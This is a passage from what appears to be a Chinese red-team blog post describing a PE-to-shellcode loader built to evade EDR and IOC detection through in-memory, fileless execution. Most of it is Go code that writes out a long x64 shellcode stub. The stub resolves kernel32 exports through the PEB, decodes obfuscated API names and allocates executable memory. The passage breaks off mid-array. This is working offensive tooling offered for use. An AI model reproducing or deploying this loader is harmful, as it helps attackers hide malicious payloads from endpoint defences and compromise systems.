简介
本文针对红队渗透测试中工具加载面临的检测规避、内存驻留及跨版本兼容性需求,提出一种模块化PE通用加载器设计。该方案通过动态解析PE结构、内存映射执行和API哈希混淆技术,实现无文件化载荷注入,有效绕过EDR/IOC静态特征检测。
PE转shellcode
代码参考https://github.com/Mephostophiles/PengCode,用go语言重构一下,核心就是在PE文件前写了一个加载器
package main import ( "debug/pe" "encoding/hex" "fmt" "os" "io/ioutil" ) func CheckPEArchitecture(filePath string) (string, error) { file, err := os.Open(filePath) if err != nil { return "", fmt.Errorf("failed to open file: %v", err) } defer file.Close() peData, err := pe.NewFile(file) if err != nil { fmt.Println("failed to read PE file: %v", err) return "64-bit", nil }else{ switch peData.Machine { case pe.IMAGE_FILE_MACHINE_AMD64: return "64-bit", nil case pe.IMAGE_FILE_MACHINE_I386: return "32-bit", nil case pe.IMAGE_FILE_MACHINE_ARM64: return "64-bit ARM (ARM64) executable or DLL", nil default: return fmt.Sprintf("unknown machine type: %d", peData.Machine), nil } } } func main() { if len(os.Args) < 2 { fmt.Println("Usage: enpass.exe <path-to-exe-or-dll>") os.Exit(1) } filePath := os.Args[1] architecture, err := CheckPEArchitecture(filePath) if err != nil { fmt.Printf("Error: %v\n", err) os.Exit(1) } if architecture == "64-bit" { Write64FileShellCode(filePath, "main.txt") } else if architecture == "32-bit" { Write32FileShellCode(filePath, "main.txt") } else { fmt.Println("unknown machine type:", architecture) os.Exit(1) } fmt.Println(architecture) } func Write64FileShellCode(path, outPath string) { hexData := []byte{0x48, 0x81, 0xEC, 0xC8, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xA0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,0x48, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x20, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24,0xA8, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24, 0xB0, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B,0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x20, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x88, 0x02, 0x00, 0x00, 0x48, 0x63,0x40, 0x3C, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x05, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48,0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x89, 0x84, 0x24, 0x08, 0x02, 0x00, 0x00, 0x48,0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x14, 0x89, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24,0x40, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,0x84, 0x24, 0xF0, 0x01, 0x00, 0x00, 0xC6, 0x44, 0x24, 0x58, 0x57, 0xC6, 0x44, 0x24, 0x59, 0x75, 0xC6, 0x44, 0x24, 0x5A, 0x84, 0xC6, 0x44, 0x24, 0x5B, 0x60, 0xC6, 0x44, 0x24, 0x5C, 0x82, 0xC6, 0x44, 0x24, 0x5D, 0x7F, 0xC6, 0x44, 0x24, 0x5E, 0x73, 0xC6, 0x44, 0x24, 0x5F, 0x51, 0xC6, 0x44, 0x24, 0x60, 0x74, 0xC6, 0x44, 0x24, 0x61, 0x74, 0xC6, 0x44, 0x24, 0x62, 0x82, 0xC6, 0x44, 0x24,0x63, 0x75, 0xC6, 0x44, 0x24, 0x64, 0x83, 0xC6, 0x44, 0x24, 0x65, 0x83, 0xC6, 0x44, 0x24, 0x66, 0x00, 0xC7, 0x44, 0x24, 0x70, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x70, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x70, 0x48, 0x63, 0x44, 0x24, 0x70, 0x48, 0x83, 0xF8, 0x0E, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x70, 0x0F, 0xB6, 0x44, 0x04, 0x58, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C,0x24, 0x70, 0x88, 0x44, 0x0C, 0x58, 0xEB, 0xD3, 0xC6, 0x44, 0x24, 0x30, 0x5C, 0xC6, 0x44, 0x24, 0x31, 0x7F, 0xC6, 0x44, 0x24, 0x32, 0x71, 0xC6, 0x44, 0x24, 0x33, 0x74, 0xC6, 0x44, 0x24, 0x34, 0x5C, 0xC6, 0x44, 0x24, 0x35, 0x79, 0xC6, 0x44, 0x24, 0x36, 0x72, 0xC6, 0x44, 0x24, 0x37, 0x82, 0xC6, 0x44, 0x24, 0x38, 0x71, 0xC6, 0x44, 0x24, 0x39, 0x82, 0xC6, 0x44, 0x24, 0x3A, 0x89, 0xC6,0x44, 0x24, 0x3B, 0x51, 0xC6, 0x44, 0x24, 0x3C, 0x00, 0xC7, 0x44, 0x24, 0x74, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x74, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x74, 0x48, 0x63, 0x44, 0x24, 0x74, 0x48, 0x83, 0xF8, 0x0C, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x74, 0x0F, 0xB6, 0x44, 0x04, 0x30, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C, 0x24, 0x74, 0x88, 0x44, 0x0C, 0x30, 0xEB, 0xD3,0xC6, 0x44, 0x24, 0x40, 0x66, 0xC6, 0x44, 0x24, 0x41, 0x79, 0xC6, 0x44, 0x24, 0x42, 0x82, 0xC6, 0x44, 0x24, 0x43, 0x84, 0xC6, 0x44, 0x24, 0x44, 0x85, 0xC6, 0x44, 0x24, 0x45, 0x71, 0xC6, 0x44, 0x24, 0x46, 0x7C, 0xC6, 0x44, 0x24, 0x47, 0x51, 0xC6, 0x44, 0x24, 0x48, 0x7C, 0xC6, 0x44, 0x24, 0x49, 0x7C, 0xC6, 0x44, 0x24, 0x4A, 0x7F, 0xC6, 0x44, 0x24, 0x4B, 0x73, 0xC6, 0x44, 0x24, 0x4C,0x00, 0xC7, 0x44, 0x24, 0x78, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x78, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x78, 0x48, 0x63, 0x44, 0x24, 0x78, 0x48, 0x83, 0xF8, 0x0C, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x78, 0x0F, 0xB6, 0x44, 0x04, 0x40, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C, 0x24, 0x78, 0x88, 0x44, 0x0C, 0x40, 0xEB, 0xD3, 0xC7, 0x44, 0x24, 0x68, 0x01, 0x00, 0x00, 0x00,0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x68, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x68, 0x8B, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x39, 0x44, 0x24, 0x68, 0x0F, 0x87, 0xC3, 0x05, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x7C, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x7C, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x7C, 0x8B, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x39, 0x44, 0x24, 0x7C, 0x0F, 0x83, 0x99, 0x05,0x00, 0x00, 0x8B, 0x44, 0x24, 0x7C, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x04, 0x41, 0x3B, 0x44, 0x24, 0x68, 0x0F, 0x85, 0x7A, 0x05, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x7C, 0x48, 0x8B, 0x8C, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00,0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xBA, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C,0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B,0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F,0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xE1,0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00,0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20,0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0D, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0D, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81,0x89, 0x84, 0x24, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01,0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00,0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B,0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24,0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F,0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00,0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x1C, 0x01, 0x00, 0x00,0x8B, 0x84, 0x24, 0x1C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20,0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE,0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05,0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01,0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00,0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F,0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x20, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x20, 0x01, 0x00, 0x00,0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0xE9, 0x4C, 0xFA, 0xFF, 0xFF, 0xE9, 0x22, 0xFA, 0xFF, 0xFF, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0xE8, 0xC6, 0x84, 0x24, 0xA1, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA2, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA3, 0x00, 0x00, 0x00, 0x00,0xC6, 0x84, 0x24, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA5, 0x00, 0x00, 0x00, 0x58, 0xC6, 0x84, 0x24, 0xA6, 0x00, 0x00, 0x00, 0x58, 0xC6, 0x84, 0x24, 0xA7, 0x00, 0x00, 0x00, 0x50, 0xC6, 0x84, 0x24, 0xA8, 0x00, 0x00, 0x00, 0xC3, 0xC7, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x24, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xC7, 0x84,0x24, 0x2C, 0x01, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x8C, 0x24, 0x28, 0x01, 0x00, 0x00, 0x0B, 0xC8, 0x8B, 0xC1, 0x44, 0x8B, 0x8C, 0x24, 0x2C, 0x01, 0x00, 0x00, 0x44, 0x8B, 0xC0, 0xBA, 0x09, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x94, 0x24, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xA0, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x80,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x83, 0xBC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x09, 0x7D, 0x25, 0x48, 0x63, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x63, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x84, 0x04, 0xA0,0x00, 0x00, 0x00, 0x88, 0x04, 0x0A, 0xEB, 0xC1, 0xFF, 0x94, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 